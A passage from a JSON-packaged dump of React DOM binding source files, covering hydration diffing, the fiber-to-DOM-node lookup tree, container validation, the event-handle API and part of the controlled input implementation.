or custom elements.\n    trapClickOnNonInteractiveElement(((domElement: any): HTMLElement));\n  }\n\n  return true;\n}\n\nexport function diffHydratedProperties(\n  domElement: Element,\n  tag: string,\n  props: Object,\n  hostContext: HostContext,\n): null | Object {\n  const serverDifferences: {[propName: string]: mixed} = {};\n  if (__DEV__) {\n    const extraAttributes: Set<string> = new Set();\n    const attributes = domElement.attributes;\n    for (let i = 0; i < attributes.length; i++) {\n      const name = attributes[i].name.toLowerCase();\n      switch (name) {\n        // Controlled attributes are not validated\n        // TODO: Only ignore them on controlled tags.\n        case 'value':\n          break;\n        case 'checked':\n          break;\n        case 'selected':\n          break;\n        case 'vt-name':\n        case 'vt-update':\n        case 'vt-enter':\n        case 'vt-exit':\n        case 'vt-share':\n          if (enableViewTransition) {\n            // View Transition annotations are expected from the Server Runtime.\n            // However, if they're also specified on the client and don't match\n            // that's an error.\n            break;\n          }\n        // Fallthrough\n        default:\n          // Intentionally use the original name.\n          // See discussion in https://github.com/facebook/react/pull/10676.\n          extraAttributes.add(attributes[i].name);\n      }\n    }\n    if (isCustomElement(tag, props)) {\n      diffHydratedCustomComponent(\n        domElement,\n        tag,\n        props,\n        hostContext,\n        extraAttributes,\n        serverDifferences,\n      );\n    } else {\n      diffHydratedGenericElement(\n        domElement,\n        tag,\n        props,\n        hostContext,\n        extraAttributes,\n        serverDifferences,\n      );\n    }\n    if (extraAttributes.size > 0 && props.suppressHydrationWarning !== true) {\n      warnForExtraAttributes(domElement, extraAttributes, serverDifferences);\n    }\n  }\n  if (Object.keys(serverDifferences).length === 0) {\n    return null;\n  }\n  return serverDifferences;\n}\n\nexport function hydrateText(\n  textNode: Text,\n  text: string,\n  parentProps: null | Object,\n): boolean {\n  const isDifferent = textNode.nodeValue !== text;\n  if (\n    isDifferent &&\n    (parentProps === null || parentProps.suppressHydrationWarning !== true) &&\n    !checkForUnmatchedText(textNode.nodeValue, text)\n  ) {\n    return false;\n  }\n  return true;\n}\n\nexport function diffHydratedText(textNode: Text, text: string): null | string {\n  if (textNode.nodeValue === text) {\n    return null;\n  }\n  const normalizedClientText = normalizeMarkupForTextOrAttribute(text);\n  const normalizedServerText = normalizeMarkupForTextOrAttribute(\n    textNode.nodeValue,\n  );\n  if (normalizedServerText === normalizedClientText) {\n    return null;\n  }\n  return textNode.nodeValue;\n}\n\nexport function restoreControlledState(\n  domElement: Element,\n  tag: string,\n  props: Object,\n): void {\n  switch (tag) {\n    case 'input':\n      restoreControlledInputState(domElement, props);\n      return;\n    case 'textarea':\n      restoreControlledTextareaState(domElement, props);\n      return;\n    case 'select':\n      restoreControlledSelectState(domElement, props);\n      return;\n  }\n}\n"
  },
  {
    "path": "packages/react-dom-bindings/src/client/ReactDOMComponentTree.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Fiber} from 'react-reconciler/src/ReactInternalTypes';\nimport type {ReactScopeInstance} from 'shared/ReactTypes';\nimport type {\n  ReactDOMEventHandle,\n  ReactDOMEventHandleListener,\n} from './ReactDOMEventHandleTypes';\nimport type {\n  Container,\n  TextInstance,\n  Instance,\n  ActivityInstance,\n  SuspenseInstance,\n  Props,\n  HoistableRoot,\n  RootResources,\n} from './ReactFiberConfigDOM';\n\nimport {\n  HostComponent,\n  HostHoistable,\n  HostSingleton,\n  HostText,\n  HostRoot,\n  SuspenseComponent,\n  ActivityComponent,\n} from 'react-reconciler/src/ReactWorkTags';\n\nimport {getParentHydrationBoundary} from './ReactFiberConfigDOM';\n\nimport {enableScopeAPI} from 'shared/ReactFeatureFlags';\n\nimport {enableInternalInstanceMap} from 'shared/ReactFeatureFlags';\n\nconst randomKey = Math.random().toString(36).slice(2);\nconst internalInstanceKey = '__reactFiber$' + randomKey;\nconst internalPropsKey = '__reactProps$' + randomKey;\nconst internalContainerInstanceKey = '__reactContainer$' + randomKey;\nconst internalEventHandlersKey = '__reactEvents$' + randomKey;\nconst internalEventHandlerListenersKey = '__reactListeners$' + randomKey;\nconst internalEventHandlesSetKey = '__reactHandles$' + randomKey;\nconst internalRootNodeResourcesKey = '__reactResources$' + randomKey;\nconst internalHoistableMarker = '__reactMarker$' + randomKey;\nconst internalScrollTimer = '__reactScroll$' + randomKey;\n\ntype InstanceUnion =\n  | Instance\n  | TextInstance\n  | SuspenseInstance\n  | ActivityInstance\n  | ReactScopeInstance\n  | Container;\n\nconst PossiblyWeakMap = typeof WeakMap === 'function' ? WeakMap : Map;\nconst internalInstanceMap:\n  | WeakMap<InstanceUnion, Fiber>\n  | Map<InstanceUnion, Fiber> = new PossiblyWeakMap();\nconst internalPropsMap:\n  | WeakMap<InstanceUnion, Props>\n  | Map<InstanceUnion, Props> = new PossiblyWeakMap();\n\nexport function detachDeletedInstance(node: Instance): void {\n  if (enableInternalInstanceMap) {\n    internalInstanceMap.delete(node);\n    internalPropsMap.delete(node);\n    delete (node: any)[internalEventHandlersKey];\n    delete (node: any)[internalEventHandlerListenersKey];\n    delete (node: any)[internalEventHandlesSetKey];\n    delete (node: any)[internalRootNodeResourcesKey];\n    if (__DEV__) {\n      delete (node: any)[internalInstanceKey];\n    }\n    return;\n  }\n  // TODO: This function is only called on host components. I don't think all of\n  // these fields are relevant.\n  delete (node: any)[internalInstanceKey];\n  delete (node: any)[internalPropsKey];\n  delete (node: any)[internalEventHandlersKey];\n  delete (node: any)[internalEventHandlerListenersKey];\n  delete (node: any)[internalEventHandlesSetKey];\n}\n\nexport function precacheFiberNode(\n  hostInst: Fiber,\n  node:\n    | Instance\n    | TextInstance\n    | SuspenseInstance\n    | ActivityInstance\n    | ReactScopeInstance,\n): void {\n  if (enableInternalInstanceMap) {\n    internalInstanceMap.set(node, hostInst);\n    if (__DEV__) {\n      (node: any)[internalInstanceKey] = hostInst;\n    }\n    return;\n  }\n  (node: any)[internalInstanceKey] = hostInst;\n}\n\nexport function markContainerAsRoot(hostRoot: Fiber, node: Container): void {\n  // $FlowFixMe[prop-missing]\n  node[internalContainerInstanceKey] = hostRoot;\n}\n\nexport function unmarkContainerAsRoot(node: Container): void {\n  // $FlowFixMe[prop-missing]\n  node[internalContainerInstanceKey] = null;\n}\n\nexport function isContainerMarkedAsRoot(node: Container): boolean {\n  // $FlowFixMe[prop-missing]\n  return !!node[internalContainerInstanceKey];\n}\n\n// Given a DOM node, return the closest HostComponent or HostText fiber ancestor.\n// If the target node is part of a hydrated or not yet rendered subtree, then\n// this may also return a SuspenseComponent, ActivityComponent or HostRoot to\n// indicate that.\n// Conceptually the HostRoot fiber is a child of the Container node. So if you\n// pass the Container node as the targetNode, you will not actually get the\n// HostRoot back. To get to the HostRoot, you need to pass a child of it.\n// The same thing applies to Suspense and Activity boundaries.\nexport function getClosestInstanceFromNode(targetNode: Node): null | Fiber {\n  let targetInst: void | Fiber;\n  if (enableInternalInstanceMap) {\n    targetInst = internalInstanceMap.get(((targetNode: any): InstanceUnion));\n  } else {\n    targetInst = (targetNode: any)[internalInstanceKey];\n  }\n  if (targetInst) {\n    // Don't return HostRoot, SuspenseComponent or ActivityComponent here.\n    return targetInst;\n  }\n  // If the direct event target isn't a React owned DOM node, we need to look\n  // to see if one of its parents is a React owned DOM node.\n  let parentNode = targetNode.parentNode;\n  while (parentNode) {\n    // We'll check if this is a container root that could include\n    // React nodes in the future. We need to check this first because\n    // if we're a child of a dehydrated container, we need to first\n    // find that inner container before moving on to finding the parent\n    // instance. Note that we don't check this field on  the targetNode\n    // itself because the fibers are conceptually between the container\n    // node and the first child. It isn't surrounding the container node.\n    // If it's not a container, we check if it's an instance.\n    if (enableInternalInstanceMap) {\n      targetInst =\n        (parentNode: any)[internalContainerInstanceKey] ||\n        internalInstanceMap.get(((parentNode: any): InstanceUnion));\n    } else {\n      targetInst =\n        (parentNode: any)[internalContainerInstanceKey] ||\n        (parentNode: any)[internalInstanceKey];\n    }\n    if (targetInst) {\n      // Since this wasn't the direct target of the event, we might have\n      // stepped past dehydrated DOM nodes to get here. However they could\n      // also have been non-React nodes. We need to answer which one.\n\n      // If we the instance doesn't have any children, then there can't be\n      // a nested suspense boundary within it. So we can use this as a fast\n      // bailout. Most of the time, when people add non-React children to\n      // the tree, it is using a ref to a child-less DOM node.\n      // Normally we'd only need to check one of the fibers because if it\n      // has ever gone from having children to deleting them or vice versa\n      // it would have deleted the dehydrated boundary nested inside already.\n      // However, since the HostRoot starts out with an alternate it might\n      // have one on the alternate so we need to check in case this was a\n      // root.\n      const alternate = targetInst.alternate;\n      if (\n        targetInst.child !== null ||\n        (alternate !== null && alternate.child !== null)\n      ) {\n        // Next we need to figure out if the node that skipped past is\n        // nested within a dehydrated boundary and if so, which one.\n        let hydrationInstance = getParentHydrationBoundary(targetNode);\n        while (hydrationInstance !== null) {\n          // We found a suspense instance. That means that we haven't\n          // hydrated it yet. Even though we leave the comments in the\n          // DOM after hydrating, and there are boundaries in the DOM\n          // that could already be hydrated, we wouldn't have found them\n          // through this pass since if the target is hydrated it would\n          // have had an internalInstanceKey on it.\n          // Let's get the fiber associated with the SuspenseComponent\n          // as the deepest instance.\n          const targetFiber = enableInternalInstanceMap\n            ? internalInstanceMap.get(hydrationInstance)\n            : // $FlowFixMe[prop-missing]\n              hydrationInstance[internalInstanceKey];\n          if (targetFiber) {\n            return targetFiber;\n          }\n          // If we don't find a Fiber on the comment, it might be because\n          // we haven't gotten to hydrate it yet. There might still be a\n          // parent boundary that hasn't above this one so we need to find\n          // the outer most that is known.\n          hydrationInstance = getParentHydrationBoundary(hydrationInstance);\n          // If we don't find one, then that should mean that the parent\n          // host component also hasn't hydrated yet. We can return it\n          // below since it will bail out on the isMounted check later.\n        }\n      }\n      return targetInst;\n    }\n    targetNode = parentNode;\n    parentNode = targetNode.parentNode;\n  }\n  return null;\n}\n\n/**\n * Given a DOM node, return the ReactDOMComponent or ReactDOMTextComponent\n * instance, or null if the node was not rendered by this React.\n */\nexport function getInstanceFromNode(node: Node): Fiber | null {\n  let inst: void | null | Fiber;\n  if (enableInternalInstanceMap) {\n    inst =\n      internalInstanceMap.get(((node: any): InstanceUnion)) ||\n      (node: any)[internalContainerInstanceKey];\n  } else {\n    inst =\n      (node: any)[internalInstanceKey] ||\n      (node: any)[internalContainerInstanceKey];\n  }\n  if (inst) {\n    const tag = inst.tag;\n    if (\n      tag === HostComponent ||\n      tag === HostText ||\n      tag === SuspenseComponent ||\n      tag === ActivityComponent ||\n      tag === HostHoistable ||\n      tag === HostSingleton ||\n      tag === HostRoot\n    ) {\n      return inst;\n    } else {\n      return null;\n    }\n  }\n  return null;\n}\n\n/**\n * Given a ReactDOMComponent or ReactDOMTextComponent, return the corresponding\n * DOM node.\n */\nexport function getNodeFromInstance(inst: Fiber): Instance | TextInstance {\n  const tag = inst.tag;\n  if (\n    tag === HostComponent ||\n    tag === HostHoistable ||\n    tag === HostSingleton ||\n    tag === HostText\n  ) {\n    // In Fiber this, is just the state node right now. We assume it will be\n    // a host component or host text.\n    return inst.stateNode;\n  }\n\n  // Without this first invariant, passing a non-DOM-component triggers the next\n  // invariant for a missing parent, which is super confusing.\n  throw new Error('getNodeFromInstance: Invalid argument.');\n}\n\nexport function getFiberCurrentPropsFromNode(\n  node:\n    | Container\n    | Instance\n    | TextInstance\n    | SuspenseInstance\n    | ActivityInstance,\n): Props | null {\n  if (enableInternalInstanceMap) {\n    return internalPropsMap.get(node) || null;\n  }\n  return (node: any)[internalPropsKey] || null;\n}\n\nexport function updateFiberProps(node: Instance, props: Props): void {\n  if (enableInternalInstanceMap) {\n    internalPropsMap.set(node, props);\n    return;\n  }\n  (node: any)[internalPropsKey] = props;\n}\n\nexport function getEventListenerSet(node: EventTarget): Set<string> {\n  let elementListenerSet: Set<string> | void = (node: any)[\n    internalEventHandlersKey\n  ];\n  if (elementListenerSet === undefined) {\n    elementListenerSet = (node: any)[internalEventHandlersKey] = new Set();\n  }\n  return elementListenerSet;\n}\n\nexport function getFiberFromScopeInstance(\n  scope: ReactScopeInstance,\n): null | Fiber {\n  if (enableScopeAPI) {\n    if (enableInternalInstanceMap) {\n      return internalInstanceMap.get(((scope: any): InstanceUnion)) || null;\n    }\n    return (scope: any)[internalInstanceKey] || null;\n  }\n  return null;\n}\n\nexport function setEventHandlerListeners(\n  scope: EventTarget | ReactScopeInstance,\n  listeners: Set<ReactDOMEventHandleListener>,\n): void {\n  (scope: any)[internalEventHandlerListenersKey] = listeners;\n}\n\nexport function getEventHandlerListeners(\n  scope: EventTarget | ReactScopeInstance,\n): null | Set<ReactDOMEventHandleListener> {\n  return (scope: any)[internalEventHandlerListenersKey] || null;\n}\n\nexport function addEventHandleToTarget(\n  target: EventTarget | ReactScopeInstance,\n  eventHandle: ReactDOMEventHandle,\n): void {\n  let eventHandles = (target: any)[internalEventHandlesSetKey];\n  if (eventHandles === undefined) {\n    eventHandles = (target: any)[internalEventHandlesSetKey] = new Set();\n  }\n  eventHandles.add(eventHandle);\n}\n\nexport function doesTargetHaveEventHandle(\n  target: EventTarget | ReactScopeInstance,\n  eventHandle: ReactDOMEventHandle,\n): boolean {\n  const eventHandles = (target: any)[internalEventHandlesSetKey];\n  if (eventHandles === undefined) {\n    return false;\n  }\n  return eventHandles.has(eventHandle);\n}\n\nexport function getResourcesFromRoot(root: HoistableRoot): RootResources {\n  let resources = (root: any)[internalRootNodeResourcesKey];\n  if (!resources) {\n    resources = (root: any)[internalRootNodeResourcesKey] = {\n      hoistableStyles: new Map(),\n      hoistableScripts: new Map(),\n    };\n  }\n  return resources;\n}\n\nexport function isMarkedHoistable(node: Node): boolean {\n  return !!(node: any)[internalHoistableMarker];\n}\n\nexport function markNodeAsHoistable(node: Node) {\n  (node: any)[internalHoistableMarker] = true;\n}\n\nexport function getScrollEndTimer(node: EventTarget): ?TimeoutID {\n  return (node: any)[internalScrollTimer];\n}\n\nexport function setScrollEndTimer(node: EventTarget, timer: TimeoutID): void {\n  (node: any)[internalScrollTimer] = timer;\n}\n\nexport function clearScrollEndTimer(node: EventTarget): void {\n  (node: any)[internalScrollTimer] = undefined;\n}\n\nexport function isOwnedInstance(node: Node): boolean {\n  if (enableInternalInstanceMap) {\n    return !!(\n      (node: any)[internalHoistableMarker] ||\n      internalInstanceMap.has((node: any))\n    );\n  }\n  return !!(\n    (node: any)[internalHoistableMarker] || (node: any)[internalInstanceKey]\n  );\n}\n"
  },
  {
    "path": "packages/react-dom-bindings/src/client/ReactDOMContainer.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {disableCommentsAsDOMContainers} from 'shared/ReactFeatureFlags';\n\nimport {\n  ELEMENT_NODE,\n  COMMENT_NODE,\n  DOCUMENT_NODE,\n  DOCUMENT_FRAGMENT_NODE,\n} from './HTMLNodeType';\n\nexport function isValidContainer(node: any): boolean {\n  return !!(\n    node &&\n    (node.nodeType === ELEMENT_NODE ||\n      node.nodeType === DOCUMENT_NODE ||\n      node.nodeType === DOCUMENT_FRAGMENT_NODE ||\n      (!disableCommentsAsDOMContainers &&\n        node.nodeType === COMMENT_NODE &&\n        (node: any).nodeValue === ' react-mount-point-unstable '))\n  );\n}\n"
  },
  {
    "path": "packages/react-dom-bindings/src/client/ReactDOMEventHandle.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {DOMEventName} from '../events/DOMEventNames';\nimport type {ReactScopeInstance} from 'shared/ReactTypes';\nimport type {\n  ReactDOMEventHandle,\n  ReactDOMEventHandleListener,\n} from './ReactDOMEventHandleTypes';\n\nimport {allNativeEvents} from '../events/EventRegistry';\nimport {\n  getEventHandlerListeners,\n  setEventHandlerListeners,\n  doesTargetHaveEventHandle,\n  addEventHandleToTarget,\n} from './ReactDOMComponentTree';\nimport {ELEMENT_NODE} from './HTMLNodeType';\nimport {listenToNativeEventForNonManagedEventTarget} from '../events/DOMPluginEventSystem';\n\nimport {\n  enableScopeAPI,\n  enableCreateEventHandleAPI,\n} from 'shared/ReactFeatureFlags';\nimport typeof {SyntheticEvent} from '../events/SyntheticEvent';\n\ntype EventHandleOptions = {\n  capture?: boolean,\n};\n\nfunction isValidEventTarget(target: EventTarget | ReactScopeInstance): boolean {\n  return typeof (target: Object).addEventListener === 'function';\n}\n\nfunction isReactScope(target: EventTarget | ReactScopeInstance): boolean {\n  return typeof (target: Object).getChildContextValues === 'function';\n}\n\nfunction createEventHandleListener(\n  type: DOMEventName,\n  isCapturePhaseListener: boolean,\n  callback: SyntheticEvent => void,\n): ReactDOMEventHandleListener {\n  return {\n    callback,\n    capture: isCapturePhaseListener,\n    type,\n  };\n}\n\nfunction registerReactDOMEvent(\n  target: EventTarget | ReactScopeInstance,\n  domEventName: DOMEventName,\n  isCapturePhaseListener: boolean,\n): void {\n  if ((target: any).nodeType === ELEMENT_NODE) {\n    // Do nothing. We already attached all root listeners.\n  } else if (enableScopeAPI && isReactScope(target)) {\n    // Do nothing. We already attached all root listeners.\n  } else if (isValidEventTarget(target)) {\n    const eventTarget = ((target: any): EventTarget);\n    // These are valid event targets, but they are also\n    // non-managed React nodes.\n    listenToNativeEventForNonManagedEventTarget(\n      domEventName,\n      isCapturePhaseListener,\n      eventTarget,\n    );\n  } else {\n    throw new Error(\n      'ReactDOM.createEventHandle: setter called on an invalid ' +\n        'target. Provide a valid EventTarget or an element managed by React.',\n    );\n  }\n}\n\nexport function createEventHandle(\n  type: string,\n  options?: EventHandleOptions,\n): ReactDOMEventHandle {\n  if (enableCreateEventHandleAPI) {\n    const domEventName = ((type: any): DOMEventName);\n\n    // We cannot support arbitrary native events with eager root listeners\n    // because the eager strategy relies on knowing the whole list ahead of time.\n    // If we wanted to support this, we'd have to add code to keep track\n    // (or search) for all portal and root containers, and lazily add listeners\n    // to them whenever we see a previously unknown event. This seems like a lot\n    // of complexity for something we don't even have a particular use case for.\n    // Unfortunately, the downside of this invariant is that *removing* a native\n    // event from the list of known events has now become a breaking change for\n    // any code relying on the createEventHandle API.\n    if (!allNativeEvents.has(domEventName)) {\n      throw new Error(\n        `Cannot call unstable_createEventHandle with \"${domEventName}\", as it is not an event known to React.`,\n      );\n    }\n\n    let isCapturePhaseListener = false;\n    if (options != null) {\n      const optionsCapture = options.capture;\n      if (typeof optionsCapture === 'boolean') {\n        isCapturePhaseListener = optionsCapture;\n      }\n    }\n\n    const eventHandle: ReactDOMEventHandle = (\n      target: EventTarget | ReactScopeInstance,\n      callback: SyntheticEvent => void,\n    ) => {\n      if (typeof callback !== 'function') {\n        throw new Error(\n          'ReactDOM.createEventHandle: setter called with an invalid ' +\n            'callback. The callback must be a function.',\n        );\n      }\n\n      if (!doesTargetHaveEventHandle(target, eventHandle)) {\n        addEventHandleToTarget(target, eventHandle);\n        registerReactDOMEvent(target, domEventName, isCapturePhaseListener);\n      }\n      const listener = createEventHandleListener(\n        domEventName,\n        isCapturePhaseListener,\n        callback,\n      );\n      let targetListeners = getEventHandlerListeners(target);\n      if (targetListeners === null) {\n        targetListeners = new Set();\n        setEventHandlerListeners(target, targetListeners);\n      }\n      targetListeners.add(listener);\n      return () => {\n        ((targetListeners: any): Set<ReactDOMEventHandleListener>).delete(\n          listener,\n        );\n      };\n    };\n\n    return eventHandle;\n  }\n  return (null: any);\n}\n"
  },
  {
    "path": "packages/react-dom-bindings/src/client/ReactDOMEventHandleTypes.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactScopeInstance} from 'shared/ReactTypes';\nimport type {DOMEventName} from '../events/DOMEventNames';\nimport typeof {SyntheticEvent} from '../events/SyntheticEvent';\n\nexport type ReactDOMEventHandle = (\n  target: EventTarget | ReactScopeInstance,\n  callback: (SyntheticEvent) => void,\n) => () => void;\n\nexport type ReactDOMEventHandleListener = {\n  callback: SyntheticEvent => void,\n  capture: boolean,\n  type: DOMEventName,\n};\n"
  },
  {
    "path": "packages/react-dom-bindings/src/client/ReactDOMInput.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// TODO: direct imports like some-package/src/* are bad. Fix me.\nimport {getCurrentFiberOwnerNameInDevOrNull} from 'react-reconciler/src/ReactCurrentFiber';\n\nimport {getFiberCurrentPropsFromNode} from './ReactDOMComponentTree';\nimport {getToStringValue, toString} from './ToStringValue';\nimport {track, trackHydrated, updateValueIfChanged} from './inputValueTracking';\nimport getActiveElement from './getActiveElement';\nimport {\n  disableInputAttributeSyncing,\n  enableHydrationChangeEvent,\n} from 'shared/ReactFeatureFlags';\nimport {checkAttributeStringCoercion} from 'shared/CheckStringCoercion';\n\nimport type {ToStringValue} from './ToStringValue';\nimport escapeSelectorAttributeValueInsideDoubleQuotes from './escapeSelectorAttributeValueInsideDoubleQuotes';\nimport {queueChangeEvent} from '../events/ReactDOMEventReplaying';\n\nlet didWarnValueDefaultValue = false;\nlet didWarnCheckedDefaultChecked = false;\n\n/**\n * Implements an <input> host component that allows setting these optional\n * props: `checked`, `value`, `defaultChecked`, and `defaultValue`.\n *\n * If `checked` or `value` are not supplied (or null/undefined), user actions\n * that affect the checked state or value will trigger updates to the element.\n *\n * If they are supplied (and not null/undefined), the rendered element will not\n * trigger updates to the element. Instead, the props must change in order for\n * the rendered element to be updated.\n *\n * The rendered element will be initialized as unchecked (or `defaultChecked`)\n * with an empty value (or `defaultValue`).\n *\n * See http://www.w3.org/TR/2012/WD-html5-20121025/the-input-element.html\n */\n\nexport function validateInputProps(element: Element, props: Object) {\n  if (__DEV__) {\n    // Normally we check for undefined and null the same, but explicitly specifying both\n    // properties, at all is probably worth warning for. We could move this either direction\n    // and just make it ok to pass null or just check hasOwnProperty.\n    if (\n      props.checked !== undefined &&\n      props.defaultChecked !== undefined &&\n      !didWarnCheckedDefaultChecked\n    ) {\n      console.error(\n        '%s contains an input of type %s with both checked and defaultChecked props. ' +\n          'Input elements must be either controlled or uncontrolled ' +\n          '(specify either the checked prop, or the defaultChecked prop, but not ' +\n          'both). Decide between using a controlled or uncontrolled input ' +\n          'element and remove one of these props. More info: ' +\n          'https://react.dev/link/controlled-components',\n        getCurrentFiberOwnerNameInDevOrNull() || 'A component',\n        props.type,\n      );\n      didWarnCheckedDefaultChecked = true;\n    }\n    if (\n      props.value !== undefined &&\n      props.defaultValue !== undefined &&\n      !didWarnValueDefaultValue\n    ) {\n      console.error(\n        '%s contains an input of type %s with both value and defaultValue props. ' +\n          'Input elements must be either controlled or uncontrolled ' +\n          '(specify either the value prop, or the defaultValue prop, but not ' +\n          'both). Decide between using a controlled or uncontrolled input ' +\n          'element and remove one of these props. More info: ' +\n          'https://react.dev/link/controlled-components',\n        getCurrentFiberOwnerNameInDevOrNull() || 'A component',\n        props.type,\n      );\n      didWarnValueDefaultValue = true;\n    }\n  }\n}\n\nexport function updateInput(\n  element: Element,\n  value: ?string,\n  defaultValue: ?string,\n  lastDefaultValue: ?string,\n  checked: ?boolean,\n  defaultChecked: ?boolean,\n  type: ?string,\n  name: ?string,\n) {\n  const node: HTMLInputElement = (element: any);\n\n  // Temporarily disconnect the input from any radio buttons.\n  // Changing the type or name as the same time as changing the checked value\n  // needs to be atomically applied. We can only ensure that by disconnecting\n  // the name while do the mutations and then reapply the name after that's done.\n  node.name = '';\n\n  if (\n    type != null &&\n    typeof type !== 'function' &&\n    typeof type !== 'symbol' &&\n    typeof type !== 'boolean'\n  ) {\n    if (__DEV__) {\n      checkAttributeStringCoercion(type, 'type');\n    }\n    node.type = type;\n  } else {\n    node.removeAttribute('type');\n  }\n\n  if (value != null) {\n    if (type === 'number') {\n      if (\n        // $FlowFixMe[incompatible-type]\n        (value === 0 && node.value === '') ||\n        // We explicitly want to coerce to number here if possible.\n        // eslint-disable-next-line\n        node.value != (value: any)\n      ) {\n        node.value = toString(getToStringValue(value));\n      }\n    } else if (node.value !== toString(getToStringValue(value))) {\n      node.value = toString(getToStringValue(value));\n    }\n  } else if (type === 'submit' || type === 'reset') {\n    // Submit/reset inputs need the attribute removed completely to avoid\n    // blank-text buttons.\n    node.removeAttribute('value');\n  }\n\n  if (disableInputAttributeSyncing) {\n    // When not syncing the value attribute, React only assigns a new value\n    // whenever the defaultValue React prop has changed. When not present,\n    // React does nothing\n    if (defaultValue != null) {\n      setDefaultValue(node, type, getToStringValue(defaultValue));\n    } else if (lastDefaultValue != null) {\n      node.removeAttribute('value');\n    }\n  } else {\n    // When syncing the value attribute, the value comes from a cascade of\n    // properties:\n    //  1. The value React property\n    //  2. The defaultValue React property\n    //  3. Otherwise there should be no change\n    if (value != null) {\n      setDefaultValue(node, type, getToStringValue(value));\n    } else if (defaultValue != null) {\n      setDefaultValue(node, type, getToStringValue(defaultValue));\n    } else if (lastDefaultValue != null) {\n      node.removeAttribute('value');\n    }\n  }\n\n  if (disableInputAttributeSyncing) {\n    // When not syncing the checked attribute, the attribute is directly\n    // controllable from the defaultValue React property. It needs to be\n    // updated as new props come in.\n    if (defaultChecked == null) {\n      node.removeAttribute('checked');\n    } else {\n      node.defaultChecked = !!defaultChecked;\n    }\n  } else {\n    // When syncing the checked attribute, it only changes when it needs\n    // to be removed, such as transitioning from a checkbox into a text input\n    if (checked == null && defaultChecked != null) {\n      node.defaultChecked = !!defaultChecked;\n    }\n  }\n\n  if (checked != null) {\n    // Important to set this even if it's not a change in order to update input\n    // value tracking with radio buttons\n    // TODO: Should really update input value tracking for the whole radio\n    // button group in an effect or something (similar to #27024)\n    node.checked =\n      checked && typeof checked !== 'function' && typeof checked !== 'symbol';\n  }\n\n  if (\n    name != null &&\n    typeof name !== 'function' &&\n    typeof name !== 'symbol' &&\n    typeof name !== 'boolean'\n  ) {\n    if (__DEV__) {\n      checkAttributeStringCoercion(name, 'name');\n    }\n    node.name = toString(getToStringValue(name));\n  } else {\n    node.removeAttribute('name');\n  }\n}\n\nexport function initInput(\n  element: Element,\n  value: ?string,\n  defaultValue: ?string,\n  checked: ?boolean,\n  defaultChecked: ?boolean,\n  type: ?string,\n  name: ?string,\n  isHydrating: boolean,\n) {\n  const node: HTMLInputElement = (element: any);\n\n  if (\n    type != null &&\n    typeof type !== 'function' &&\n    typeof type !== 'symbol' &&\n    typeof type !== 'boolean'\n  ) {\n    if (__DEV__) {\n      checkAttributeStringCoercion(type, 'type');\n    }\n    node.type = type;\n  }\n\n  if (value != null || defaultValue != null) {\n    const isButton = type === 'submit' || type === 'reset';\n\n    // Avoid setting value attribute on submit/reset inputs as it overrides the\n    // default value provided by the browser. See: #12872\n    if (isButton && (value === undefined || value === null)) {\n      // We track the value just in case it changes type later on.\n      track((element: any));\n      return;\n    }\n\n    const defaultValueStr =\n      defaultValue != null ? toString(getToStringValue(defaultValue)) : '';\n    const initialValue =\n      value != null ? toString(getToStringValue(value)) : defaultValueStr;\n\n    // Do not assign value if it is already set. This prevents user text input\n    // from being lost during SSR hydration.\n    if (!isHydrating || enableHydrationChangeEvent) {\n      if (disableInputAttributeSyncing) {\n        // When not syncing the value attribute, the value property points\n        // directly to the React prop. Only assign it if it exists.\n        if (value != null) {\n          // Always assign on buttons so that it is possible to assign an\n          // empty string to clear button text.\n          //\n          // Otherwise, do not re-assign the value property if is empty. This\n          // potentially avoids a DOM write and prevents Firefox (~60.0.1) from\n          // prematurely marking required inputs as invalid. Equality is compared\n          // to the current value in case the browser provided value is not an\n          // empty string.\n          if (isButton || toString(getToStringValue(value)) !== node.value) {\n            node.value = toString(getToStringValue(value));\n          }\n        }\n      } else {\n        // When syncing the value attribute, the value property should use\n        // the wrapperState._initialValue property. This uses:\n        //\n        //   1. The value React property when present\n        //   2. The defaultValue React property when present\n        //   3. An empty string\n        if (initialValue !== node.value) {\n          node.value = initialValue;\n        }\n      }\n    }\n\n    if (disableInputAttributeSyncing) {\n      // When not syncing the value attribute, assign the value attribute\n      // directly from the defaultValue React property (when present)\n      if (defaultValue != null) {\n        node.defaultValue = defaultValueStr;\n      }\n    } else {\n      // Otherwise, the value attribute is synchronized to the property,\n      // so we assign defaultValue to the same thing as the value property\n      // assignment step above.\n      node.defaultValue = initialValue;\n    }\n  }\n\n  // Normally, we'd just do `node.checked = node.checked` upon initial mount, less this bug\n  // this is needed to work around a chrome bug where setting defaultChecked\n  // will sometimes influence the value of checked (even after detachment).\n  // Reference: https://bugs.chromium.org/p/chromium/issues/detail?id=608416\n  // We need to temporarily unset name to avoid disrupting radio button groups.\n\n  const checkedOrDefault = checked != null ? checked : defaultChecked;\n  // TODO: This 'function' or 'symbol' check isn't replicated in other places\n  // so this semantic is inconsistent.\n  const initialChecked =\n    typeof checkedOrDefault !== 'function' &&\n    typeof checkedOrDefault !== 'symbol' &&\n    !!checkedOrDefault;\n\n  if (isHydrating && !enableHydrationChangeEvent) {\n    // Detach .checked from .defaultChecked but leave user input alone\n    node.checked = node.checked;\n  } else {\n    node.checked = !!initialChecked;\n  }\n\n  if (disableInputAttributeSyncing) {\n    // Only assign the checked attribute if it is defined. This saves\n    // a DOM write when controlling the checked attribute isn't needed\n    // (text inputs, submit/reset)\n    if (defaultChecked != null) {\n      node.defaultChecked = !node.defaultChecked;\n      node.defaultChecked = !!defaultChecked;\n    }\n  } else {\n    // When syncing the checked attribute, both the checked property and\n    // attribute are assigned at the same time using defaultChecked. This uses:\n    //\n    //   1. The checked React property when present\n    //   